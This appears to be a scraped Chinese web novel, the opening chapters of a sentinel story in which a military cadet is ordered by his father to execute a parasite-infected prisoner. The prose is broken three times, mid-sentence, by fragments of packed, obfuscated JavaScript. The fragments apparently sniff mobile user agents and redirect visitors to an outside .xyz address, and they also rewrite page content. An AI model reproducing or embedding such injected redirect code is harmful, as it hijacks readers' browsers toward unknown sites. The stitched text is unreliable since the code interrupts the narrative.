《笨蛋哨兵又在修罗场中心了!》 1. 第 1 章 审讯室内。 阴湿的墙壁上凹凸不平,似乎刻着别有深意的浮雕。一盏巨大的灯高悬在顶上,将内里瘫倒在地上的人照得无比清晰。 四周都是摄像头,全然对准了那个穿着囚服的被关押者,让这人脸上任何闪过的情绪都无所遁形。 一堵透明的玻璃墙将房间陡然分成了两部分,而此刻整个房间里只有这个囚犯,执法队并不在此。 穿过几堵墙之后,冷色调的房间里。闪着蓝光的电子屏清晰倒映出囚犯的脸。 那张脸上的表情扭曲发狂,眼睛血红一片。另一块电子屏显示着他正神经质地抠挖着坚硬的水泥地,指甲与地面摩擦时发出簌簌的难听声音,令人闻之悚然。 坐在屏幕前的男人抬手按住耳机,垂着眼仔细听着那边的动静。 囚犯猛地抬起头,一双血红的眼睛直直望向监控,仿佛是隔着冰冷的屏幕和那头的人对视上了,瞪着眼从喉腔发出一声动物性的无实意嘶吼。 声音浑厚绵长,仿佛自带混响,一瞬间便打碎了原本的凝重安静,那刺耳的声音直直传进耳机里,几乎要穿透耳膜,带着毫不掩饰的攻击性。 耳机里声浪不停,连站在旁边的几个身着规整制服的人都透过耳机听见了这一声,耳膜被余音震得发疼,忍不住抬手捂了捂耳朵。 而戴着耳机的男人却只是轻轻拧了下眉。他按理来说比他们受到的冲击更大,但反应却极淡,只是抬手取下了耳机,随意将头戴式耳机放在了大理石桌上。 微敛了眸,不知道在思索什么。 无一人说话,连呼吸的声音也几乎听不见。 “执政官阁下,”半晌,他身旁一位站着的青年忍不住开了口,“这个人……他,怎么处理?” 他略有些紧张地指了指屏幕,对于这位已然开始发狂的囚犯显然很是不知所措。 电子屏里的囚犯不再执着于用指甲挖地,站起了身开始猛力捶打玻璃墙。 砰、砰砰! 一声又一声,几乎让人产生他是不是真的能徒手把材质玻璃砸碎的错觉。恍惚间连地板都在随之颤动。 缺乏经验的青年看着屏幕那头逐渐失控、简直像是发了疯似的囚犯,忍不住咽了咽口水。 半晌,执政官终于说话了,微微侧头,问起的却是另一个人:“黎珞言呢?” 他身后的军官迅速反应过来,回道:“按课程安排来说,小黎少爷现在应该在联邦军校的训练场。” 执政官手指轻叩桌面,一下又一下,富于节奏感的闷响几乎敲在在场每一个人的心上,空气越发凝重了。 “你们……”执政官转过头来,打量似的看向他们。 “阁下我还是留下来看着罪犯吧。” “阁下上次就是我去叫的,这次是不是……” “阁下……阁下我突然头疼。” 突然之间在场的这群人责任心也上来了,病也上来了,语速飞快,生怕比别人说慢一步,默契拉满了。 执政官不至于连回绝的借口都听不出来,沉默片刻,忽地抬头看向先前说话那位青年,唤了声:“齐泽。” 刚进执法队的愣头青齐泽双脚瞬间并拢,立马站得极其端正,应道:“是。” 执政官颔首道:“那就辛苦你去训练场把黎珞言带过来了。” “……是,阁下。” * 联邦军校。 齐泽驾驶着小型飞行器,到达后随便找了个人,问清一年级生训练场地在哪里之后,就直奔而去了。 来来往往的都是军校生哨兵,齐泽来回穿梭,一边比对着照片,一边东张西望,好半晌也没看着照片上的哨兵身影。 嘶!没错啊,这就是一年级生的训练场地啊。怎么会找不着人呢。 突然肩膀被人拍了下。齐泽猛地扭头,首先映入视线的就是一头烈火一样张扬的红发。 他怔了一下,第一反应就是抬手看向手里的照片,仔细比对了一下。照片上的少年长着一张极俊帅的脸,黑发绿眸,脸上没什么表情,冷着脸看上去挺能唬人的。 齐泽反复观看照片,再三确认眼前男生不是自己要找的人后,又抬头看向眼前的红毛。 ……所以,这谁?? 对于影响自己任务的人,齐泽心里烦的不行,但还是保持礼貌微笑:“请问有什么事吗?” 红发哨兵也没太在乎他的态度,眉毛一挑,朝照片努了努嘴,单手插兜,十足的少爷姿态,傲慢得仿佛能和他多说一句话是多么难得的福分:“你找黎珞言?” 听见这个名字,齐泽脑子里有块地方的灯泡一亮。 黎珞言! 他心觉找人的任务即将成功,态度都积极了起来,不像方才那样隐含着不耐烦了:“对……你是?” 红发哨兵两指并拢,极其自然地从齐泽手里夹走黎珞言的照片,也完全忽视了对面人被夺走照片时一瞬间难绷的神情。 手指轻轻摩挲照片上少年的脸,头也不抬,抽空回道:“奚元,黎珞言的朋友。” 齐泽:? 这是!他带来的!照片! 齐泽眼睁睁看着对方把照片顺手就放进了训练服外套口袋里,动作流畅得就好像这本来就是他的东西一样。 也罢!任务要紧。这也算是他进执法队以来的第一个任务了。 齐泽忍气吞声,微笑道:“那请问黎珞言现在在哪里?执政官阁下唤他过去。麻烦你……” 奚元直接打断:“他溜号去洗手间了,你在这儿等等吧,我去喊他。” 齐泽再度忍气吞声,用尽修养扯出一个礼貌的微笑:“不用麻烦了,我和你一起去吧。” 奚元皱了眉:“不用了,你在这儿等着就行。” 齐泽微笑:“真的不用麻烦你。” 这人是听不懂话吗?? 齐泽和奚元的想法在这一刻巧合地达成了统一。 奚元终于心生烦躁,不耐地啧了一声。正想发作时,一抬头恰好看见刚从室□□击场出来的人,眼睛一亮。 挥手大声喊道:“尹惟!过来一下!” 齐泽不由自主地转身看去。 刚出射击场的是个扎着高马尾的高个女生,头发挑染了几绺雾霾蓝,混杂在黑发中,看上去有点酷。 脖子上挂着一副耳机,正低着头,手上发力撕扯开粘贴式黑色护腕,取下后活动着方才承力过猛的手腕,骤然听见自己的名字,扭头看过来。 和红头发少年对视一眼后,她微眯了下眼睛,刹那间就意识到了什么,移开视线轻飘飘地看了眼他对面的陌生青年,似是在进行思考。 片刻后,她顺手把护腕扔进了自己的储物柜里,伸手啪嗒一声将其推合上了,接着就抬脚走了过来。 奚元等她走近后,看着她说:“黎叔叔派他来找梨子,应该是有什么事。” 在短暂的对视中,尹惟接收到信号,侧头看向眼前的陌生青年,不着痕迹地上下看了看他,似是在打量。齐泽敏锐地察觉到她的视线,感到不适地皱了皱眉。 尹惟收回了视线,出口的话是对奚元说的:“梨子不是去洗手间了吗?” 奚元接着说:“对,我准备现在就去找他。” 齐泽试图插话:“我……” 才说了一个字就被尹惟直接打断:“那你快去吧。” 奚元双手环抱:“行,我先去找他。那这位小军官怎么办?” 齐泽再次尝试插话:“我……” 尹惟恍若未闻,极有默契地和红毛打着配合,接着他的话就说:“我陪他在这儿等一会儿吧,你先去找梨子,别让人久等了。” 两人一唱一和,齐泽没找到任何插话的空隙,回过神来就发现自己已经被安排好了。 齐泽:?他请问呢? 话音刚落,红发男生转身就走了,齐泽“诶”了一声想追上去,却被尹惟一把拽住。 “我见你有点面生,是执法队的新成员吗?”见他扭过头来,尹惟一改先前的散漫懒怠,脸上瞬间挂上很公式化的笑容,就像是突然想起来营业了一样。 客观来说,她眼睛偏圆,弯起眼睛时看上去格外好说话,浑身气质说实话算不得柔和,但如果参考物是方才没礼貌的红毛的话,那她看起来要好脾气得多。 至少齐泽更愿意和听得懂人话的人沟通。 齐泽拧着眉,再回头看过去时,有着一头显眼红发的哨兵已经跑没影了。他烦躁的情绪已经快要溢出去了,冷哼一声放弃了跟过去的念头。 那……就等一等? 齐泽心情很糟地回道:“我算是试训期吧,最后能不能留在执法队还得看执政官的意思。” 尹惟笑道:“那祝你顺利了。” 齐泽:“哈。” ……多亏了你们,已经开始不顺利了。 * 奚元走过转角过后,脚步一顿,探头回去看了眼,确认那个被派来的军官没跟上来之后,立马就加快步伐转走为跑。 奇怪的是他并没有朝洗手间的方向去,而是在拐角处换了个方向,抄了个近道离开了训练场。 刚出训练场,他就迎面撞见一个慌里慌张往里赶、嘴上念叨着“迟到了迟到了”的卷毛哨兵。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496411|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哥们,飞行器借用一下!后面还你。”奚元经过他时拍了下他的肩,边说话边与那人错身而过,显然是不想浪费任何一点时间。 话音刚落,一把钥匙呈抛物线被扔了出来,奚元一个转身,抬手准确无误接过,一头张扬炽热的红发在空中留下过流畅漂亮的线条轨迹。 那人慌里慌张掏出钥匙扔给他之后,往训练场赶的步伐未停,嘴上连连道:“送你了哥们。” …… 空荡荡的宿舍楼内,急促的脚步声不断响起,伴随着剧烈奔跑时重重的呼吸声。 本该是所有人都应该在训练场的时间点,每个宿舍都把床铺收拾齐整,被子叠成了豆腐块模样。……除了310宿舍。 与专门培养向导的白塔相同,联邦军校是为培养哨兵而设立的学院。住宿条件说不上差,但也比不得白塔的环境那么优渥,基本都是双人宿舍,美其名曰是起到一个舍友间相互监督的作用。 当然,也可能仅仅是为了节约公共资源。 此时的310宿舍,窗帘被拉拢挡住了光,也没开灯,宿舍里光线很暗。进门左右两边的床看着明显不一样。右边的床铺上干净整齐,被子被叠得整整齐齐,很符合检查宿舍卫生的标准。 而左边床上显然躺着人,床上的人一看便是在本该去训练场的时间躺在宿舍里睡觉,被子被盖过肩膀,他侧身安然睡着,露出一头毛茸茸的黑发。 房门处传来点推门的响动,没推动,旋即从外面敲响了两下,黑发少年全然未觉,不受影响地裹在被子里熟睡着。 宿舍隔音效果很差,没过几秒就传来了钥匙插入锁孔的声响。 吱呀——。 宿舍门被从外面打开了。奚元重重踩着地板,似是泄愤,抬手“啪嗒”一声摁下宿舍灯光开关。 白炽灯瞬间将整个房间照亮。 黑发少年皱了皱鼻子,闭着眼睛,默默把被子拉过头顶。这下整个人都被埋进了软和的被子里。 “黎珞言!赶紧起来!”奚元毫不收敛音量,推了推沉沉睡着的黑发哨兵。 见这人仍跟没听见似的一动不动缩在被子里睡觉,他沉默地盯着拱起的被子几秒后,手下无情地把被子一把扯住,毫不留情掀开。 “唔。”黎珞言努力扯住,但睡梦中的人难以匹敌神清气爽且来势汹汹的哨兵,最终遗憾失被。 他整个人被暴露在了空气中,但好在主观能动性很强,没几秒,他翻了个身继续睡好。甚至还攥住枕头把另一只耳朵挡住了,就像自己手动制作了一副耳机,将红毛的叫醒服务阻绝在外。 奚元差点被气笑,单手撑住床头的杆,俯身大喊:“赶紧起床!!” 黎珞言不动如山,宛如开启了自动屏蔽。 奚元加大了音量:“你父亲又派人来找你了!” 好一会儿没等到动静,奚元的视线落在他捂住耳朵的枕头上,微一挑眉,自言自语般说道:“再不醒我就只能动用特殊手段了……” 他笑眯眯地盯着黎珞言的脸,心里默数了十声,看黎珞言仍旧没有任何反应,时间一到,他便慢悠悠地伸出一只手捏住了黑发哨兵的鼻子。 看着他瞬间拧起的眉,奚元目的达成,笑眯眯地继续捏着懒鬼的鼻子,不紧不慢数着:“三、二、一。” 黑发少年呼吸受阻,在他数到“一”的那瞬间猛地睁开眼睛,露出那双仿佛水浸过一般的明亮绿眸,脸皱成一团,带着茫然地望着突然近在咫尺的一张脸。 被这样望着,奚元眼皮轻垂,禁不住移开了视线,没再和他对视,手也松开了捏住的鼻子。 奚元站直了身子之后,看向别处使劲眨了两下眼睛,找回平常的语气:“快起来了,黎叔叔那边还等着你,不然让他知道你训练时间在睡觉的话,你又得被批一顿了。” 黎珞言半梦半醒地坐起了身,其实刚睡醒的脑子根本没听清他在说什么,但还是很给面子地认真点点头。即便坐起来了,也还是困得发晕。 奚元说了那句话后就不见了,黎珞言一个人姿势端正地坐在床上,几分钟后忍不住浅浅地打了个哈欠,一时间困意又上脑子,仿佛下一秒就要倒下去继续睡了。 就在梦想即将成真的时候,肩膀忽地被突如其来的一只手稳稳握住了。 黎珞言刚合上的眼皮立马就睁开了,似乎是为了消除睡意,他把眼睛睁得很大,看上去又呆又懵。 面前人似乎叹了口气,黎珞言眨了眨眼睛,还在慢吞吞地想怎么叹气了,就听见他说“闭眼。” 闻言,他很快把眼睛闭上了,绿宝石一样的眸子重新被眼皮盖住。 2. 第 2 章 仅穿着件黑色无袖背心的黑发哨兵闭着眼睛坐在床上,紧绷在身上的背心显露出流畅漂亮的肌肉线条,一看便是经常运动留下的。手随意地撑在床边,白皙皮肤下的青紫色血管顺着小臂蜿蜒往上。 他仰着脸,闷了水的毛巾拍在他的脸上,给他擦脸的人显然也没有多少照顾人的经验,抓着毛巾胡乱地在他脸上抹了两圈,就把毛巾重新闷进水里,几秒后毫不留情再次拍在黎珞言的脸上擦擦擦。 “唔……!” 口鼻被闷在湿毛巾里,简直像是在给他上水刑。黎珞言昏昏沉沉的意识一扫而净,这下完全清醒了,偏过头艰难躲开追着他脸捂的毛巾,张开嘴抓紧呼吸了几下。 见奚元还想给他擦脸,他眼疾手快攥住奚元的手腕,从毛巾后面探出一张脸,认真强调:“真的已经擦干净了。” 湿润的水珠从俊帅的面庞滑下,黑发哨兵歪着脑袋,鼻梁高挺,绿色眼眸里仿若氤氲着水汽,亮晶晶地望着人,刚睡醒还未打理过的头发乱糟糟的,还反方向地翘了几根起来。 奚元凑近,仔细观察了一下,又伸手用手背碰了碰少年还残余着水珠的脸颊,像是在确定是不是真的擦干净了,确认完成后,将毛巾扭干,覆在少年脸上擦干净了水渍。 黎珞言手撑着床,奚元刚离开几分钟,他就又忍不住打了个哈欠,小声嘟囔:“好困,好想睡觉。” 从天而降的衣服突然砸过来,黎珞言慢吞吞地抬头,还没来得及作出反应就被训练服罩住了脑袋,一睁眼一片漆黑,干脆就趁着这几分钟闭眼轻寐了会儿。脑袋被重量压得沉下,像个电量耗尽待机的机器人。 等到奚元把盖在他头上的一套训练服拽了下来扔在了床上,黎珞言才终于重见光明,眨着眼睛偏头看过去,好奇道:“是去训练场吗?” “不管去哪里,你现在都应该穿着训练服去,”奚元双手环抱,大爷似的后仰躺在椅子上,单边眉毛挑起,看着仍没动弹的黎珞言,问道,“怎么?还要我伺候你穿衣服?黎大少爷。” 黎珞言泄力向后倒去,在铁面无私起床监督者的看管下,他浅浅睡了五秒,一到点不得不伸出手将衣服一股脑团在手里,慢吞吞爬起来,一声不吭去了卫生间。 卫生间水声响起,过了会儿又是窸窸窣窣的衣物摩擦声,半晌,再出来的时候,黑发哨兵已然收拾齐整了。 黑发哨兵从卫生间出来后,斜身倚着墙,半低着头慢悠悠系着腰带,乌黑碎发微微垂下,一双清亮的绿色眸子漫无目的地盯着不远处,像是在走神。 严整贴身的深棕色训练服将整个人恰到好处的身材比例完美显露了出来。 着装得体之后,眉眼都不似刚睡醒那样懒怠了,反而透着股锐利的冷意,很不好接触的模样。 奚元嘴里叼着根饼干,腿交叠着搭在桌上,听见门开的响动,漫不经心看过去一眼,招呼道:“行,收拾好了就走吧。” 但黎珞言系个腰带也跟磨洋工似的,好不容易扣好了,又开始像乌龟一样往门外挪动了,全身上下都散发着浓烈的不情愿出门的气息。 奚元把饼干“咔擦咔擦”嚼碎咽了下去,顺手从饼干盒里抽出一根长条饼干,走过去之后抬手就塞到黎珞言嘴里,看着他张口咬住一截。 手落下,从低头吃饼干的哨兵脖子后面绕过去按在他的肩膀上,五指收紧攥住肩上那一小块布料,既像是揽着他又像是在拽着他往外面走,嘴上似是不耐烦的抱怨:“再这么不配合你猜我以后还会给你打掩护吗?” 黎珞言被他拽得差点一踉跄,迅速把饼干塞嘴里吃完了,调整步伐立马跟上他的速度,不至于被拖着走,一边努力为自己赖床的行为做出合理的解释:“我很困嘛。” 仅仅吃了一根小饼干,他完全没吃饱,反而被勾起了食欲,于是偏头凑近问道:“还有吃的吗?” 说得怪可怜的。 奚元斜眼扫他一眼,对上一双亮晶晶望着他的绿眸,停顿几秒,从兜里摸出一支营养液,递过去:“诺。只有这个。” 他有点心不在焉,没注意自己直接把营养液递到了黎珞言嘴边。 黎珞言扭回头看着近在咫尺的营养液,迟疑着。 营养液,不好喝。 但是不喝就会很饿。喝不喝喝不喝喝不喝……? 几秒的心理斗争结束后,最终萦绕的饥饿感还是战胜了那点挑食的想法。 黎珞言眨巴了下眼睛,伸头去够,张嘴就咬住了营养液。嘴上衔着长条营养液,随着被拽着下楼梯的动作一晃一晃的,像小狗吐舌头似的。 他慢吞吞咬住营养液撕开封口处,弯起眼睛,心满意足地沉浸式喝完了整支。 * 执政官手指轻叩桌面,脸上看不出情绪。 等待的时间一点点过去,还不见齐泽带着黎珞言过来的身影,气压越来越低。整间屋子安静得几乎要凝成冰了。 后面几个执法队的队员面面相觑,一声不吭,心里默默祈祷着齐泽赶快带上人过来。 不知道过了多久,门外传来一连串不规则的脚步声,随着执法队队员逐渐亮起的眼睛,门在万众期待下被敲响。 “进。”执政官淡声道。 门从外面打开,齐泽进来后站姿端正,抬手敬了个礼。 站在后面的几个执法队队员伸长脑袋往他身后看,空荡荡的,似乎没人跟上来。他们心里骤然一凉。 执政官也抬了头,微侧过头往门口看,半晌没看见人影,刚想开口问,就听见一阵急促的脚步声。 比声音更先出现的是一头漆黑的短发。 扶着门框喘了几口气总算调整好呼吸的黑发哨兵抬起头,额前碎发下是一双漂亮的绿色眼睛,右耳上缀着颗小小的银色耳钉,在白炽灯的照耀下折射着些许亮光。 他身上还穿着联邦军校统一的训练服,腰带勒出劲瘦而富有力量感的腰身,一手抓在门框上,袖扣被解开了,似乎是被随手撸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496412|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,露出了一截肌肉紧绷着的小臂。 “抱歉,到晚了点。” 黎珞言抿着唇,进来的第一眼就看向了坐在显示屏前、也正抬头看着他的执政官。 执政官平静看着他,脸色没什么变化,甚至可以说是没什么表情,他浑身上下都隐隐透着一种威严气场。——执法队的成员总不太敢在他的面前放松说话。 显然,他此刻并没有要寻根究底问清楚黎珞言到这么晚的原因,只是微一颔首:“你……” “不好意思不好意思,我也来晚了。” 黎珞言只觉身后一阵风闪过,头发都被这阵疾速的空气吹得晃了晃。一只手自然而然搭在了他肩上,余光里映入一点火红的颜色。 他眨了眨眼睛,侧头看过去,咬耳朵般小声道:“你怎么这么慢。” 奚元也旁若无人地偏头小声回答:“还不是去给你买吃的了。” 他维持着单手插兜的动作,黎珞言顺着他的暗示低头看去,果然看见他口袋里塞着的面包,绿眸亮了亮。 奚元和他挨得很近,在面前一群人的视线盲区中偷偷把面包递给了黎珞言,黎珞言又悄悄塞进了自己外套口袋里,使劲往里面按了按,让面包的存在不那么明显。 执政官的位置刚好能看完全程,他盯着他俩自顾自交递面包的隐蔽小动作,眉心微蹙,他有让奚元跟着一起来吗? 看着黎珞言因塞了面包而微微鼓起的口袋,执政官终于开口了,直接打断了那俩人的互动,淡声唤道:“黎珞言。” 黎珞言停了小动作,眨着眼睛看向他,安静等着他说后面的内容。 执政官起了身,道:“跟我来。” 走到门口时,他脚步一顿,回头吩咐道:“你们待在这里。” 显示屏连通了审讯室的监控,实时反应着审讯室那边的情况。 撕拉—— 黎珞言撕开了面包,看着执政官经过自己,他低下头连忙咬下几口,抓紧时间填饱肚子。 奚元买给他的是蓝莓夹心面包,一口咬下去甜味充溢口腔,甜得发腻。奚元不太爱吃这种过于甜腻的食物,但黎珞言…… 奚元发自内心地觉得他几乎什么都吃,简直是联邦军校最能吃的那一款哨兵。 除了抗拒几乎没什么味道的营养液外,吃什么都能吃出美味。——他一度觉得黎珞言如果在星网上做吃播也完全能做到top级别。 见他要跟上去了,奚元稍微侧身倾向了他,碰到了黎珞言自然垂在大腿处的左手,轻轻捏了捏他手上的一点软肉,小声安抚:“去吧,我在这边等你。” 黎珞言几口就把面包塞进嘴里嚼吧嚼吧咽了,感受到手心的轻柔触感,他歪了下脑袋,似乎是在思索。 三秒后,他神清气爽地跟上等得快要不耐烦的执政官后面走了。 奚元眼角抽搐,手里多了一个失去面包的空包装袋。 ……什么垃圾都往他手里塞是吗?? 3. 第 3 章 墙壁凹凸不平,明明四处都能被光照亮,却莫名让人觉得待在这处空间里便有冷气飕飕往身上窜。 黎珞言跟在父亲身后进了审讯室。 玻璃墙隔开的另一边,空气安静得不像话。黎珞言垂眸看过去,只看见一个躺在坚硬地上的人,没有任何声响,就连胸口的起伏也不甚明显,是让人怀疑他是不是还有呼吸的程度。 黑发绿眸的哨兵轻轻侧过头,目光直直望向自己身旁始终冷着眸的执政官。 此刻的他看起来和在宿舍那时明显很不一样,褪去了懒怠与困倦过后,倒更像是齐泽找他时手里拿的照片那样透着点苏帅的冷感。 执政官面色冷峻,手置于腰间,平静看着仿佛死了一样安静的囚犯。片刻后,动作干脆利落地拔出手枪,递给身边的人:“解决他。” 黎珞言停顿两秒,才将其握住。 通体漆黑的枪身,被握在了手心里,衬得他手背有点苍白。黎珞言轻抿着唇,眉眼微凝,不笑的时候显得极为冷漠不易接近。 玻璃墙在识别到执政官的掌纹后自动打开了。 * 显示屏中,隔绝两边的玻璃墙消失,黑发哨兵右手握枪,踏进了囚犯所在的那一边。旋即玻璃墙重新出现。 一道透明的玻璃将他与执政官完全隔开。他站姿端正,低下头看着近在咫尺的躺倒在地的囚犯。 ——他被隔绝在了囚犯所在的那一边。 看见这一幕奚元垂至身侧的手半握成拳,忍不住啧了声,沉默几秒后出声问道:“那犯人什么情况?” 执法队的几个成员互相看了看,一时无人回答。他们也不知道在进审讯室之前,执政官阁下有没有和小黎少爷讲过室内犯人的情况。 但不管小黎少爷知不知情,显然眼前这位一旦知道了那个犯人是感染者,肯定一秒也不会多等就冲进审讯室里了。 作为被迫和他打过太多交道的人,执法队队员毫不怀疑上述推测的真实性。于是支支吾吾起来,“这个……那个……”了好半天,也没说出什么有效信息。 奚元意识到不对劲,嘴角压平了,棱角分明的脸瞬间显出几分张扬逼人的锐利来,回过头来没有表情地盯着他们。 刚进入执法队的职场新人齐泽见状主动出声,打破凝滞的局面:“你看看不就知道了。” 他完全没有被奚元的眼神恐吓到,反而毫不心慌地和他对视着,实事求是地说:“审讯室只有执政官阁下的命令才能打开,你又进不去,还不如在这里看着显示屏,至少能知道里面发生了什么。” 奚元盯着他,向来带着几分戏谑笑意的眸子此刻尖利得出奇,瞳孔在一瞬间缩成一条线,像是大型猫科动物在捕猎过程中会有的眼神。但下一秒又变回了原样,让人忍不住恍惚刚才看见的似乎只是错觉。 齐泽正正回看着他:“你看着我也没用,你还是看着屏幕吧。我看你还挺担心他的。” 奚元眯了眯眼睛,手紧握成拳当场就想发作,但想到这还是在执法队的地盘,最终还是按捺住了这份冲动。 他抬脚使劲一踢面前的椅子,稍微泄了点积压的火气。椅子砸在地上“咣”的一声敲在在场每一个人的耳膜上。 脾气差到几乎可以算得上是一点就炸的哨兵嗤了一声,罕见地没当场发作,也没说话,手握成拳撑在桌上,目光重新投向了屏幕,眸光专注认真。 …… 黎珞言没有从执政官口中得到关于这个身穿囚服的被关押者的任何信息,从始至终他听见的只有一句话——“解决他”。 躺在地上的人满身是汗,皮肤裸露在外的地方都被像是被利爪抓过,手上血迹斑斑,闭着眼,薄薄的眼皮青紫,仿佛血管下一秒就能跳出来。 或许也不能完全将其称之为“人”,只是长了人样,但喉腔中发出的悲鸣极具动物性,喉管不断震动,心脏却不受影响,没有任何动静。 黎珞言的眸光平静而淡,他似乎没有意识到自己处在一个多么危险的处境。低下头居高临下地望着失去意识的犯人,迈开腿,靠近了那人的位置。 就在那一瞬间,地上的囚犯突然暴起,睁开眼已经看不见眼白了,一片血红。身体以一种诡异的不正常姿态立了起来,宛如一个巨大的橡皮人。 残余着猩红血肉的指甲突然变长,尖利的指甲闪着银光,光看着就能知道即便只是轻轻划过皮肤也能瞬间划破皮肤表层、飙出鲜血。 尖锐的银光带着几乎能刺破眼球薄膜的锋芒,映在澄澈的森绿色眸子里。 ——一切仿佛被慢放。 紧盯着显示屏的奚元看着这一幕瞳孔骤缩,指甲深陷入掌心,忍不住骂出声:“这是感染者!” 原来是感染者…… 奚元冷着脸,阴影打在脸上显出几分瘆人,一字一句:“你们让他一个人去?你们疯了吗?!” 他一拳砸在桌上,裂纹像蜘蛛网一样蔓延开,碎屑被扬起在空气中。 “砰——” 手枪射出子弹直直穿过掌心。 直冲挖眼睛而来的那只手的掌心在即将接近目标时陡然出现一个血窟窿,在空中停滞一瞬,旋即失力垂下。 “嘶啊啊——”刺耳的声音响起,囚犯捂住自己受伤的手,失控地尖叫出声。 枪口还在冒烟。硝烟味散在空气中,随着呼吸荡出的波动而波动着。 黎珞言当机立断稳稳射出一枪,眉眼沉凝。即便方才的一瞬间发生了那么可怕的事,他却连脚步也没有挪一下,见感染者重新倒在地上,他将枪重新插入腰间,向前迈出一脚。 熟褐色军靴踩在手臂与掌心的连接处,深覆了上去。 那只手臂陡然间青筋突起,然而他越挣扎,压在他手上的那道力度就越大,直到他被迫停止了挣扎。 随着血液涌出,感染者的指甲一点点缩短,直到恢复成了正常人类的尺寸。身体抽搐了两下,原先的疯狂一点点从眼神中抽离出去。 他大口喘着气,眼睛中充斥着惊恐,从他的角度只能看见眼前军官垂下的眼,冷漠无情的,此时正居高临下地望着他。 黎珞言眨了下眼睛,才后知后觉地反应过来。 是感染者啊。 意识到这点后,他的表情也没有太大变化,只是问道:“他还能活吗?” 审讯室里具有自主思考能力的只有他和执政官,那么这样一句听起来很天真可笑的话自然是问玻璃墙那边的那位执政官阁下的。 那边的声音穿过玻璃墙,传到他耳里时带着某种失真的味道:“他背叛了联邦。在他加入星际海盗的那一刻,就意味着他接受了自己的命运。” “勇于与那群毫无人性的星盗为伍,被感染便是他为此支付的代价。小言,你觉得感染者还残存着自主思考的能力吗?” 黎珞言垂眸看着地上被寄生异兽折磨得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496413|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不成人样的人,地上混杂了汗水、血液各种液体,将深黑的地面浸湿了一大片。 “我明白了。” 黑色手枪再次被他握在手里。枪口这一次对准了囚犯的眉心。 他轻轻闭上眼,碧绿的双眸被薄薄一层白皙眼皮遮盖。无形的感知在此刻由点绽开,遍布整个密闭空间中。 仔细看去,会发现他的眼皮在小幅度地发颤,眉心微蹙。 枪口不再停留在原先的位置,而是一点点下移。 * “偏了。” 齐泽专注地看着屏幕,未经思考就吐出这句话。 “呵。”奚元冷笑一声,说话带刺似的,“就算你射击打个一环,他都不会射偏。” 即便态度依旧带着戾气,但明显可以看出他较刚知道那人是感染者是要放松了不少。梨子能应付,并且应对得很好。 齐泽懒得和他争辩这些,他有眼睛,能看见黑发哨兵握枪的手一点点下移。 一击毙命当然是直击眉心。他不知道屏幕里的少年在想什么,又或者是力度不够,手不够稳……但明眼人都能看出枪口此时没有对准眉心。 还是年纪太小。联邦军校的学生即便再天才再出众,都还没有积累足够的经验,实战时缺乏经验是很正常的事。更何况他能够稳稳站在感染者的对面就已经胜过了一大半军校生了。 至少齐泽可以肯定,即便是他,在已知对方是感染者的情况下,也很难做到像黎珞言一样冷静淡然。 屏幕里的哨兵扣动了扳机,子弹高速射出,最终穿过靠近嘴角的颊侧。 在齐泽看来,在目标没有动弹的情况下,相当于照着固定靶子打枪,那么这一击可以说是非常偏了。 他感到有点可惜,明明先前无论是心态还是出枪的速度都那么优秀,现在却不知是受了什么影响,本来应该一枪毙命的枪口却偏了这么多…… 虽然和同龄人相比仍然优秀出众,但失误在这种地方,只能说是训练不够。 他想起自己去训练场找人时,没有看见这位哨兵的身影,于是顺理成章给人下了定义:一个仗着自己执政官独子的身份便摸鱼划水、疏于训练的哨兵。 “啊啊啊!!——” “咦呀呜——” 两道声音同时炸起。一道是属于人类濒临崩溃时的声音,另一个频率更低,是属于异兽会发出的音波。 连接着审讯室那边的音响传出的两道声音使得齐泽刹那间睁大了眼睛,他慢半拍地抬眸盯住黎珞言手上还在冒烟的枪口,终于意识到了枪口为什么要下移对准最后开枪的地方。 他不可置信地、几乎是从喉咙里噌的一下冒出来地惊道:“他能感知到异兽所在的位置?!” 不是失误,不是手抖,从始至终审讯室里的黑发哨兵手都稳得过分,每一枪都经过了考量思虑! 最后那一枪,是奔着寄生的异兽而去的! 奚元眉梢一挑,与有荣焉,唇角禁不住扬起了一个弧度。 显示屏里的黑发哨兵始终冷静又平淡,轻轻垂着眸,似乎并不觉得自己做了一件多么不可思议的事。 身后传来倒吸一口冷气的声音,然后是讨论似的窃窃私语。 “……这就是s+级别的感知力吗?” “我、靠。” “艹!我没记错的话他才刚进联邦军校吧,这个水平绝对已经秒杀大部分人了吧!” 4. 第 4 章 被枪射穿的血窟窿逐渐开始张大,人类身躯的伤口里缓缓爬出一个模样怪异的生物。 